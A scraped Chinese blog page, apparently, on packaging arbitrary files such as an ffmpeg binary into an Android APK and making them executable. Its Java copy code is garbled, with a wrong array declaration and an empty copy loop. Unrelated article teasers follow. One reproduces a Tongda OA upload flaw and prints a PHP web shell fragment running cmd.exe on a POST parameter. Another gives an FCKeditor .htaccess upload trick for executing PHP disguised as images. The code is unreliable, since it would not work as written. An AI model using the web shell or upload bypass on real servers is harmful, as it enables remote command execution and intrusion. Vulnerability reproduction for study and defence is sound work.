任意檔案打包進apk

2021-06-07 09:18:17 字數 540 閱讀 9392

預設情況android工程下的assets目錄下的所有檔案都會原封不動的打包進apk中,但apk安裝後這些檔案卻不會解包出來。

只能使用inputstream和fileoutputstream將這些檔案寫入到需要的位置。

inputstream is = getresources().getassets().open("ffmpeg");

fileoutputstream os = new fileoutputstream(new file(ffmpeg));

byte buf = new byte[1024];

int red = -1;

while((red=is.read(buf))!=-1)

is.close();

os.close();

如果是linux下的可執行檔案,在2.3以上的系統中可以很方便的更改檔案許可權為可讀可寫可執行。

file.setexecutable(true);

file.setreadable(true);

file.setwritable(true);

rpmbuild打包任意檔案及目錄製作為rpm檔案

用於安裝製作rpm包的檔案 yum install rpm build rpmdevtoolsrpmdev setuptree 預設將使用使用者家目錄建立對應檔案 rpmbuild build rpms sources specs srpms 若要修改預設建立位置,修改如下即可 root cento...

通達OA未授權任意檔案上傳和任意檔案包含漏洞復現

建立乙個上傳的頁面 開啟後,上傳乙個jpg,內容如下 儲存為jpg phpwsh new com wscript.shell or die create wscript.shell failed exec phpwsh exec cmd.exe c post cmd stdout exec stdo...

fckeditor任意檔案上傳漏洞

1.建立.htaccess檔案,內容如下 htaccess檔案可以用來設定某個目錄和某個目錄的子目錄的許可權,以上內容的意思是將副檔名是 php.gif 的檔案解析成php 2.使用如下url,上傳上面建立的的.htaccess檔案 通過這一步上傳,上傳目錄的 php.gif 檔案apache會按照...